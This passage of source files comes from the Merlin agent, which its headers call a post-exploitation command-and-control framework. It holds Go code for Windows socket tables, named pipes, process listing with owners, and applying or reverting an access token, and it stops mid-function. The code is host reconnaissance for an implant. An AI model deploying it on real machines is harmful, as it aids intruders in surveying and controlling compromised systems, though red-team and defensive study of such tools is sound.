{\n\tNumEntries uint32\n\tTable      [1]MibUDPRowOwnerPID\n}\n\nfunc (t *MibUDPTableOwnerPID) Rows() []MibUDPRowOwnerPID {\n\tvar s []MibUDPRowOwnerPID\n\thdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))\n\thdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))\n\thdr.Len = int(t.NumEntries)\n\thdr.Cap = int(t.NumEntries)\n\treturn s\n}\n\n// MibUDP6RowOwnerPID serves the same purpose as MibUDPRowOwnerPID, except that\n// the information in this case is for IPv6.\ntype MibUDP6RowOwnerPID struct {\n\tWinSock6\n\tWinPid\n}\n\nfunc (m *MibUDP6RowOwnerPID) LocalSock() *SockAddr  { return m.Sock() }\nfunc (m *MibUDP6RowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} }\nfunc (m *MibUDP6RowOwnerPID) SockState() SkState    { return Close }\n\n// MibUDP6TableOwnerPID serves the same purpose as MibUDPTableOwnerPID for IPv6\ntype MibUDP6TableOwnerPID struct {\n\tNumEntries uint32\n\tTable      [1]MibUDP6RowOwnerPID\n}\n\nfunc (t *MibUDP6TableOwnerPID) Rows() []MibUDP6RowOwnerPID {\n\tvar s []MibUDP6RowOwnerPID\n\thdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))\n\thdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))\n\thdr.Len = int(t.NumEntries)\n\thdr.Cap = int(t.NumEntries)\n\treturn s\n}\n\n// Processentry32 describes an entry from a list of the processes residing in\n// the system address space when a snapshot was taken\ntype Processentry32 struct {\n\tSize                uint32\n\tCntUsage            uint32\n\tTh32ProcessID       uint32\n\tTh32DefaultHeapID   uintptr\n\tTh32ModuleID        uint32\n\tCntThreads          uint32\n\tTh32ParentProcessID uint32\n\tPriClassBase        int32\n\tFlags               uint32\n\tExeFile             [MaxPath]byte\n}\n\nfunc rawGetTCPTable2(proc uintptr, tab unsafe.Pointer, size *uint32, order bool) error {\n\tvar oint uintptr\n\tif order {\n\t\toint = 1\n\t}\n\tr1, _, callErr := syscall.Syscall(\n\t\tproc,\n\t\tuintptr(3),\n\t\tuintptr(tab),\n\t\tuintptr(unsafe.Pointer(size)),\n\t\toint)\n\tif callErr != 0 {\n\t\treturn callErr\n\t}\n\tif r1 != 0 {\n\t\treturn syscall.Errno(r1)\n\t}\n\treturn nil\n}\n\nfunc getTCPTable2(proc uintptr, order bool) ([]byte, error) {\n\tvar (\n\t\tsize uint32\n\t\tbuf  []byte\n\t)\n\n\t// determine size\n\terr := rawGetTCPTable2(proc, unsafe.Pointer(nil), &size, false)\n\tif err != nil && err != errInsuffBuff {\n\t\treturn nil, err\n\t}\n\tbuf = make([]byte, size)\n\ttable := unsafe.Pointer(&buf[0])\n\terr = rawGetTCPTable2(proc, table, &size, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}\n\n// GetTCPTable2 function retrieves the IPv4 TCP connection table\nfunc GetTCPTable2(order bool) (*MibTCPTable2, error) {\n\tb, err := getTCPTable2(procGetTCPTable2.Addr(), true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn (*MibTCPTable2)(unsafe.Pointer(&b[0])), nil\n}\n\n// GetTCP6Table2 function retrieves the IPv6 TCP connection table\nfunc GetTCP6Table2(order bool) (*MibTCP6Table2, error) {\n\tb, err := getTCPTable2(procGetTCP6Table2.Addr(), true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn (*MibTCP6Table2)(unsafe.Pointer(&b[0])), nil\n}\n\n// The UDPTableClass enumeration defines the set of values used to indicate\n// the type of table returned by calls to GetExtendedUDPTable\ntype UDPTableClass uint\n\n// Possible table class values\nconst (\n\tUDPTableBasic UDPTableClass = iota\n\tUDPTableOwnerPID\n\tUDPTableOwnerModule\n)\n\nfunc getExtendedUDPTable(table unsafe.Pointer, size *uint32, order bool, af uint32, cl UDPTableClass) error {\n\tvar oint uintptr\n\tif order {\n\t\toint = 1\n\t}\n\tr1, _, callErr := syscall.Syscall6(\n\t\tprocGetExtendedUDPTable.Addr(),\n\t\tuintptr(6),\n\t\tuintptr(table),\n\t\tuintptr(unsafe.Pointer(size)),\n\t\toint,\n\t\tuintptr(af),\n\t\tuintptr(cl),\n\t\tuintptr(0))\n\tif callErr != 0 {\n\t\treturn callErr\n\t}\n\tif r1 != 0 {\n\t\treturn syscall.Errno(r1)\n\t}\n\treturn nil\n}\n\n// GetExtendedUDPTable function retrieves a table that contains a list of UDP\n// endpoints available to the application\nfunc GetExtendedUDPTable(order bool, af uint32, cl UDPTableClass) ([]byte, error) {\n\tvar size uint32\n\terr := getExtendedUDPTable(nil, &size, order, af, cl)\n\tif err != nil && err != errInsuffBuff {\n\t\treturn nil, err\n\t}\n\tbuf := make([]byte, size)\n\terr = getExtendedUDPTable(unsafe.Pointer(&buf[0]), &size, order, af, cl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}\n\nfunc GetUDPTableOwnerPID(order bool) (*MibUDPTableOwnerPID, error) {\n\tb, err := GetExtendedUDPTable(true, syscall.AF_INET, UDPTableOwnerPID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn (*MibUDPTableOwnerPID)(unsafe.Pointer(&b[0])), nil\n}\n\nfunc GetUDP6TableOwnerPID(order bool) (*MibUDP6TableOwnerPID, error) {\n\tb, err := GetExtendedUDPTable(true, syscall.AF_INET6, UDPTableOwnerPID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn (*MibUDP6TableOwnerPID)(unsafe.Pointer(&b[0])), nil\n}\n\n// ProcessSnapshot wraps the syscall.Handle, which represents a snapshot of\n// the specified processes.\ntype ProcessSnapshot syscall.Handle\n\n// CreateToolhelp32Snapshot takes a snapshot of the specified processes, as\n// well as the heaps, modules, and threads used by these processes\nfunc CreateToolhelp32Snapshot(flags uint32, pid uint32) (ProcessSnapshot, error) {\n\tr1, _, callErr := syscall.Syscall(\n\t\tprocCreateSnapshot.Addr(),\n\t\tuintptr(2),\n\t\tuintptr(flags),\n\t\tuintptr(pid), 0)\n\tret := ProcessSnapshot(r1)\n\tif callErr != 0 {\n\t\treturn ret, callErr\n\t}\n\tif r1 == InvalidHandleValue {\n\t\treturn ret, fmt.Errorf(\"invalid handle value: %#v\", r1)\n\t}\n\treturn ret, nil\n}\n\n// ProcPIDToName translates PID to a name\nfunc (snp ProcessSnapshot) ProcPIDToName(pid uint32) string {\n\tvar processEntry Processentry32\n\tprocessEntry.Size = uint32(unsafe.Sizeof(processEntry))\n\thandle := syscall.Handle(snp)\n\terr := Process32First(handle, &processEntry)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tfor {\n\t\tif processEntry.Th32ProcessID == pid {\n\t\t\treturn StringFromNullTerminated(processEntry.ExeFile[:])\n\t\t}\n\t\terr = Process32Next(handle, &processEntry)\n\t\tif err != nil {\n\t\t\treturn \"\"\n\t\t}\n\t}\n}\n\n// Close releases underlying win32 handle\nfunc (snp ProcessSnapshot) Close() error {\n\treturn syscall.CloseHandle(syscall.Handle(snp))\n}\n\n// Process32First retrieves information about the first process encountered\n// in a system snapshot\nfunc Process32First(handle syscall.Handle, pe *Processentry32) error {\n\tpe.Size = uint32(unsafe.Sizeof(*pe))\n\tr1, _, callErr := syscall.Syscall(\n\t\tprocProcess32First.Addr(),\n\t\tuintptr(2),\n\t\tuintptr(handle),\n\t\tuintptr(unsafe.Pointer(pe)), 0)\n\tif callErr != 0 {\n\t\treturn callErr\n\t}\n\tif r1 == 0 {\n\t\treturn nil\n\t}\n\treturn nil\n}\n\n// Process32Next retrieves information about the next process\n// recorded in a system snapshot\nfunc Process32Next(handle syscall.Handle, pe *Processentry32) error {\n\tpe.Size = uint32(unsafe.Sizeof(*pe))\n\tr1, _, callErr := syscall.Syscall(\n\t\tprocProcess32Next.Addr(),\n\t\tuintptr(2),\n\t\tuintptr(handle),\n\t\tuintptr(unsafe.Pointer(pe)), 0)\n\tif callErr != 0 {\n\t\treturn callErr\n\t}\n\tif r1 == 0 {\n\t\treturn nil\n\t}\n\treturn nil\n}\n\n// StringFromNullTerminated returns a string from a nul-terminated byte slice\nfunc StringFromNullTerminated(b []byte) string {\n\tn := bytes.IndexByte(b, '\\x00')\n\tif n < 1 {\n\t\treturn \"\"\n\t}\n\treturn string(b[:n])\n}\n\ntype winSockEnt interface {\n\tLocalSock() *SockAddr\n\tRemoteSock() *SockAddr\n\tSockState() SkState\n\tProcess(snp ProcessSnapshot) *Process\n}\n\nfunc toSockTabEntry(ws winSockEnt, snp ProcessSnapshot) SockTabEntry {\n\treturn SockTabEntry{\n\t\tLocalAddr:  ws.LocalSock(),\n\t\tRemoteAddr: ws.RemoteSock(),\n\t\tState:      ws.SockState(),\n\t\tProcess:    ws.Process(snp),\n\t}\n}\n\nfunc osTCPSocks(accept AcceptFn) ([]SockTabEntry, error) {\n\ttbl, err := GetTCPTable2(true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsnp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar sktab []SockTabEntry\n\ts := tbl.Rows()\n\tfor i := range s {\n\t\tent := toSockTabEntry(&s[i], snp)\n\t\tif accept(&ent) {\n\t\t\tsktab = append(sktab, ent)\n\t\t}\n\t}\n\tsnp.Close()\n\treturn sktab, nil\n}\n\nfunc osTCP6Socks(accept AcceptFn) ([]SockTabEntry, error) {\n\ttbl, err := GetTCP6Table2(true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsnp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar sktab []SockTabEntry\n\ts := tbl.Rows()\n\tfor i := range s {\n\t\tent := toSockTabEntry(&s[i], snp)\n\t\tif accept(&ent) {\n\t\t\tsktab = append(sktab, ent)\n\t\t}\n\t}\n\tsnp.Close()\n\treturn sktab, nil\n}\n\nfunc osUDPSocks(accept AcceptFn) ([]SockTabEntry, error) {\n\ttbl, err := GetUDPTableOwnerPID(true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsnp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar sktab []SockTabEntry\n\ts := tbl.Rows()\n\tfor i := range s {\n\t\tent := toSockTabEntry(&s[i], snp)\n\t\tif accept(&ent) {\n\t\t\tsktab = append(sktab, ent)\n\t\t}\n\t}\n\tsnp.Close()\n\treturn sktab, nil\n}\n\nfunc osUDP6Socks(accept AcceptFn) ([]SockTabEntry, error) {\n\ttbl, err := GetUDP6TableOwnerPID(true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsnp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar sktab []SockTabEntry\n\ts := tbl.Rows()\n\tfor i := range s {\n\t\tent := toSockTabEntry(&s[i], snp)\n\t\tif accept(&ent) {\n\t\t\tsktab = append(sktab, ent)\n\t\t}\n\t}\n\tsnp.Close()\n\treturn sktab, nil\n}\n\nconst (\n\tprotoIPv4 = 0x01\n\tprotoIPv6 = 0x02\n)\n\n// Accepts \"udp\" or \"tcp\"\nfunc netstat(filter string) (stdout string, stderr string) {\n\tvar udp bool\n\tvar tcp bool\n\tswitch filter {\n\tcase \"udp\":\n\t\tudp = true\n\tcase \"tcp\":\n\t\ttcp = true\n\tdefault:\n\t\tudp = true\n\t\ttcp = true\n\t}\n\tlistening := false\n\tall := true\n\tipv4 := true\n\tipv6 := true\n\n\tvar proto uint\n\tif ipv4 {\n\t\tproto |= protoIPv4\n\t}\n\tif ipv6 {\n\t\tproto |= protoIPv6\n\t}\n\tif proto == 0x00 {\n\t\tproto = protoIPv4 | protoIPv6\n\t}\n\n\t//if os.Geteuid() != 0 {\n\t//\tstdout += fmt.Sprintf(\"\\nElevated privileges needed to identify all process information\\n\")\n\t//}\n\tstdout += fmt.Sprintf(\"\\nProto %-23s %-23s %-12s %-16s\\n\", \"Local Addr\", \"Foreign Addr\", \"State\", \"PID/Program name\")\n\n\tif udp {\n\t\tif proto&protoIPv4 == protoIPv4 {\n\t\t\ttabs, err := UDPSocks(NoopFilter)\n\t\t\tif err == nil {\n\t\t\t\tproto := \"udp\"\n\t\t\t\tlookup := func(skaddr *SockAddr) string {\n\t\t\t\t\tconst IPv4Strlen = 17\n\t\t\t\t\taddr := skaddr.IP.String()\n\t\t\t\t\tif len(addr) > IPv4Strlen {\n\t\t\t\t\t\taddr = addr[:IPv4Strlen]\n\t\t\t\t\t}\n\t\t\t\t\treturn fmt.Sprintf(\"%s:%d\", addr, skaddr.Port)\n\t\t\t\t}\n\n\t\t\t\tfor _, e := range tabs {\n\t\t\t\t\tp := \"\"\n\t\t\t\t\tif e.Process != nil {\n\t\t\t\t\t\tp = e.Process.String()\n\t\t\t\t\t}\n\t\t\t\t\tsaddr := lookup(e.LocalAddr)\n\t\t\t\t\tdaddr := lookup(e.RemoteAddr)\n\t\t\t\t\tstdout += fmt.Sprintf(\"%-5s %-23.23s %-23.23s %-12s %-16s\\n\", proto, saddr, daddr, e.State, p)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif proto&protoIPv6 == protoIPv6 {\n\t\t\ttabs, err := UDP6Socks(NoopFilter)\n\t\t\tif err == nil {\n\t\t\t\tproto := \"udp6\"\n\t\t\t\tlookup := func(skaddr *SockAddr) string {\n\t\t\t\t\tconst IPv4Strlen = 17\n\t\t\t\t\taddr := skaddr.IP.String()\n\t\t\t\t\tif len(addr) > IPv4Strlen {\n\t\t\t\t\t\taddr = addr[:IPv4Strlen]\n\t\t\t\t\t}\n\t\t\t\t\treturn fmt.Sprintf(\"%s:%d\", addr, skaddr.Port)\n\t\t\t\t}\n\n\t\t\t\tfor _, e := range tabs {\n\t\t\t\t\tp := \"\"\n\t\t\t\t\tif e.Process != nil {\n\t\t\t\t\t\tp = e.Process.String()\n\t\t\t\t\t}\n\t\t\t\t\tsaddr := lookup(e.LocalAddr)\n\t\t\t\t\tdaddr := lookup(e.RemoteAddr)\n\t\t\t\t\tstdout += fmt.Sprintf(\"%-5s %-23.23s %-23.23s %-12s %-16s\\n\", proto, saddr, daddr, e.State, p)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\ttcp = true\n\t}\n\n\tif tcp {\n\t\tvar fn AcceptFn\n\n\t\tswitch {\n\t\tcase all:\n\t\t\tfn = func(*SockTabEntry) bool { return true }\n\t\tcase listening:\n\t\t\tfn = func(s *SockTabEntry) bool {\n\t\t\t\treturn s.State == Listen\n\t\t\t}\n\t\tdefault:\n\t\t\tfn = func(s *SockTabEntry) bool {\n\t\t\t\treturn s.State != Listen\n\t\t\t}\n\t\t}\n\n\t\tif proto&protoIPv4 == protoIPv4 {\n\t\t\ttabs, err := TCPSocks(fn)\n\t\t\tif err == nil {\n\t\t\t\tproto := \"tcp\"\n\t\t\t\tlookup := func(skaddr *SockAddr) string {\n\t\t\t\t\tconst IPv4Strlen = 17\n\t\t\t\t\taddr := skaddr.IP.String()\n\t\t\t\t\tif len(addr) > IPv4Strlen {\n\t\t\t\t\t\taddr = addr[:IPv4Strlen]\n\t\t\t\t\t}\n\t\t\t\t\treturn fmt.Sprintf(\"%s:%d\", addr, skaddr.Port)\n\t\t\t\t}\n\n\t\t\t\tfor _, e := range tabs {\n\t\t\t\t\tp := \"\"\n\t\t\t\t\tif e.Process != nil {\n\t\t\t\t\t\tp = e.Process.String()\n\t\t\t\t\t}\n\t\t\t\t\tsaddr := lookup(e.LocalAddr)\n\t\t\t\t\tdaddr := lookup(e.RemoteAddr)\n\t\t\t\t\tstdout += fmt.Sprintf(\"%-5s %-23.23s %-23.23s %-12s %-16s\\n\", proto, saddr, daddr, e.State, p)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif proto&protoIPv6 == protoIPv6 {\n\t\t\ttabs, err := TCP6Socks(fn)\n\t\t\tif err == nil {\n\t\t\t\tproto := \"tcp6\"\n\t\t\t\tlookup := func(skaddr *SockAddr) string {\n\t\t\t\t\tconst IPv4Strlen = 17\n\t\t\t\t\taddr := skaddr.IP.String()\n\t\t\t\t\tif len(addr) > IPv4Strlen {\n\t\t\t\t\t\taddr = addr[:IPv4Strlen]\n\t\t\t\t\t}\n\t\t\t\t\treturn fmt.Sprintf(\"%s:%d\", addr, skaddr.Port)\n\t\t\t\t}\n\n\t\t\t\tfor _, e := range tabs {\n\t\t\t\t\tp := \"\"\n\t\t\t\t\tif e.Process != nil {\n\t\t\t\t\t\tp = e.Process.String()\n\t\t\t\t\t}\n\t\t\t\t\tsaddr := lookup(e.LocalAddr)\n\t\t\t\t\tdaddr := lookup(e.RemoteAddr)\n\t\t\t\t\tstdout += fmt.Sprintf(\"%-5s %-23.23s %-23.23s %-12s %-16s\\n\", proto, saddr, daddr, e.State, p)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn stdout, \"\"\n}\n"
  },
  {
    "path": "commands/os.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport \"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\n// Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system\nfunc Setup() error {\n\tcli.Message(cli.DEBUG, \"entering Setup() function from the commands.os package\")\n\treturn nil\n}\n\n// TearDown is the opposite of Setup and removes and environment or context applications\nfunc TearDown() error {\n\tcli.Message(cli.DEBUG, \"entering TearDown() function from the commands.os package\")\n\treturn nil\n}\n"
  },
  {
    "path": "commands/os_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// X-Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens\"\n)\n\n// Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system\nfunc Setup() error {\n\tcli.Message(cli.DEBUG, \"entering Setup() function from the commands.os package\")\n\t// Apply Windows access token, if any\n\treturn tokens.ApplyToken()\n}\n\n// TearDown is the opposite of Setup and removes and environment or context applications\nfunc TearDown() error {\n\tcli.Message(cli.DEBUG, \"entering TearDown() function from the commands.os package\")\n\n\t// Remove applied Windows access token\n\treturn windows.RevertToSelf()\n}\n"
  },
  {
    "path": "commands/pipes.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Pipes is only a valid function on Windows agents...for now\nfunc Pipes() jobs.Results {\n\tcli.Message(cli.DEBUG, \"entering Pipes()...\")\n\treturn jobs.Results{\n\t\tStderr: \"the pipes command is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/pipes_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// Sub Repositories\n\t\"golang.org/x/sys/windows\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Pipes enumerates and returns a list of named pipes for Windows hosts only\nfunc Pipes() jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Pipes()...\"))\n\tvar results jobs.Results\n\tvar err string\n\n\tout, err := getPipes()\n\tif err != \"\" {\n\t\tresults.Stderr = fmt.Sprintf(\"%s\\r\\n\", err)\n\t} else {\n\t\tresults.Stdout = out\n\t}\n\treturn results\n}\n\n// Print out the comments of \\\\.\\pipe\\*\n// Ripped straight out of the Wireguard implementation: conn_windows.go\nfunc getPipes() (stdout string, stderr string) {\n\t// pipePrefix is the path for windows named pipes\n\tvar pipePrefix = `\\\\.\\pipe\\`\n\tvar (\n\t\tdata windows.Win32finddata\n\t)\n\n\th, err := windows.FindFirstFile(\n\t\t// Append * to find all named pipes.\n\t\twindows.StringToUTF16Ptr(pipePrefix+\"*\"),\n\t\t&data,\n\t)\n\tif err != nil {\n\t\treturn \"\", err.Error()\n\t}\n\n\t// FindClose is used to close file search handles instead of the typical\n\t// CloseHandle used elsewhere, see:\n\t// https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-findclose.\n\tdefer windows.FindClose(h)\n\n\tstdout = \"\\nNamed pipes:\\n\"\n\tfor {\n\t\tname := windows.UTF16ToString(data.FileName[:])\n\t\tstdout += pipePrefix + name + \"\\n\"\n\n\t\tif err := windows.FindNextFile(h, &data); err != nil {\n\t\t\tif err == windows.ERROR_NO_MORE_FILES {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\treturn \"\", err.Error()\n\t\t}\n\t}\n\n\treturn stdout, \"\"\n}\n"
  },
  {
    "path": "commands/ps.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// PS lists running processes\n// Only available on Windows\nfunc PS() jobs.Results {\n\tcli.Message(cli.DEBUG, \"entering PS()...\")\n\treturn jobs.Results{\n\t\tStderr: \"the PS command is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/ps_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// standard\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t// Sub Repositories\n\t\"golang.org/x/sys/windows\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\ntype Process1 interface {\n\t// Pid is the process ID for this process.\n\tPid() int\n\n\t// PPid is the parent process ID for this process\n\tPPid() int\n\n\t// Executable name running this process. This is not a path to the executable\n\tExecutable() string\n\n\tOwner() string\n\n\tArch() string\n}\n\n// WindowsProcess is an implementation of Process for Windows.\ntype WindowsProcess struct {\n\tpid   int\n\tppid  int\n\texe   string\n\towner string\n\tarch  string\n}\n\nfunc (p *WindowsProcess) Pid() int {\n\treturn p.pid\n}\n\nfunc (p *WindowsProcess) PPid() int {\n\treturn p.ppid\n}\n\nfunc (p *WindowsProcess) Executable() string {\n\treturn p.exe\n}\n\nfunc (p *WindowsProcess) Owner() string {\n\treturn p.owner\n}\n\nfunc (p *WindowsProcess) Arch() string {\n\treturn p.arch\n}\n\nfunc newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {\n\t// Find when the string ends for decoding\n\tend := 0\n\tfor {\n\t\tif e.ExeFile[end] == 0 {\n\t\t\tbreak\n\t\t}\n\t\tend++\n\t}\n\taccount, _ := getProcessOwner(e.ProcessID)\n\n\tpHandle, _ := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, e.ProcessID)\n\tdefer syscall.CloseHandle(pHandle)\n\tisWow64Process, err := IsWow64Process(pHandle)\n\n\tarch := \"x86\"\n\tif !isWow64Process {\n\t\tarch = \"x64\"\n\t}\n\tif err != nil {\n\t\tarch = \"err\"\n\t}\n\n\treturn &WindowsProcess{\n\t\tpid:   int(e.ProcessID),\n\t\tppid:  int(e.ParentProcessID),\n\t\texe:   syscall.UTF16ToString(e.ExeFile[:end]),\n\t\towner: account,\n\t\tarch:  arch,\n\t}\n}\n\nfunc findProcess(pid int) (Process1, error) {\n\tps, err := getProcesses()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, p := range ps {\n\t\tif p.Pid() == pid {\n\t\t\treturn p, nil\n\t\t}\n\t}\n\n\treturn nil, nil\n}\n\n// getInfo retrieves a specified type of information about an access token.\nfunc getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error) {\n\tn := uint32(initSize)\n\tfor {\n\t\tb := make([]byte, n)\n\t\te := syscall.GetTokenInformation(t, class, &b[0], uint32(len(b)), &n)\n\t\tif e == nil {\n\t\t\treturn unsafe.Pointer(&b[0]), nil\n\t\t}\n\t\tif e != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\t\treturn nil, e\n\t\t}\n\t\tif n <= uint32(len(b)) {\n\t\t\treturn nil, e\n\t\t}\n\t}\n}\n\n// getTokenUser retrieves access token t owner account information.\nfunc getTokenUser(t syscall.Token) (*syscall.Tokenuser, error) {\n\ti, e := getInfo(t, syscall.TokenUser, 50)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\treturn (*syscall.Tokenuser)(i), nil\n}\n\nfunc getProcessOwner(pid uint32) (owner string, err error) {\n\thandle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer syscall.CloseHandle(handle)\n\tvar token syscall.Token\n\tif err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {\n\t\treturn\n\t}\n\ttokenUser, err := getTokenUser(token)\n\tif err != nil {\n\t\treturn\n\t}\n\towner, domain, _, err := tokenUser.User.Sid.LookupAccount(\"\")\n\towner = fmt.Sprintf(\"%s\\\\%s\", domain, owner)\n\treturn\n}\n\n// IsWow64Process determines the process architecture\n// https://github.com/shenwei356/rush/blob/master/process/process_windows.go\nfunc IsWow64Process(processHandle syscall.Handle) (bool, error) {\n\tvar wow64Process bool\n\tkernel32 := windows.NewLazySystemDLL(\"kernel32\")\n\tprocIsWow64Process := kernel32.NewProc(\"IsWow64Process\")\n\n\tr1, _, e1 := procIsWow64Process.Call(\n\t\tuintptr(processHandle),\n\t\tuintptr(unsafe.Pointer(&wow64Process)))\n\tif int(r1) == 0 {\n\t\treturn false, e1\n\t}\n\treturn wow64Process, nil\n}\n\nfunc getProcesses() ([]Process1, error) {\n\thandle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer syscall.CloseHandle(handle)\n\n\tvar entry syscall.ProcessEntry32\n\tentry.Size = uint32(unsafe.Sizeof(entry))\n\tif err = syscall.Process32First(handle, &entry); err 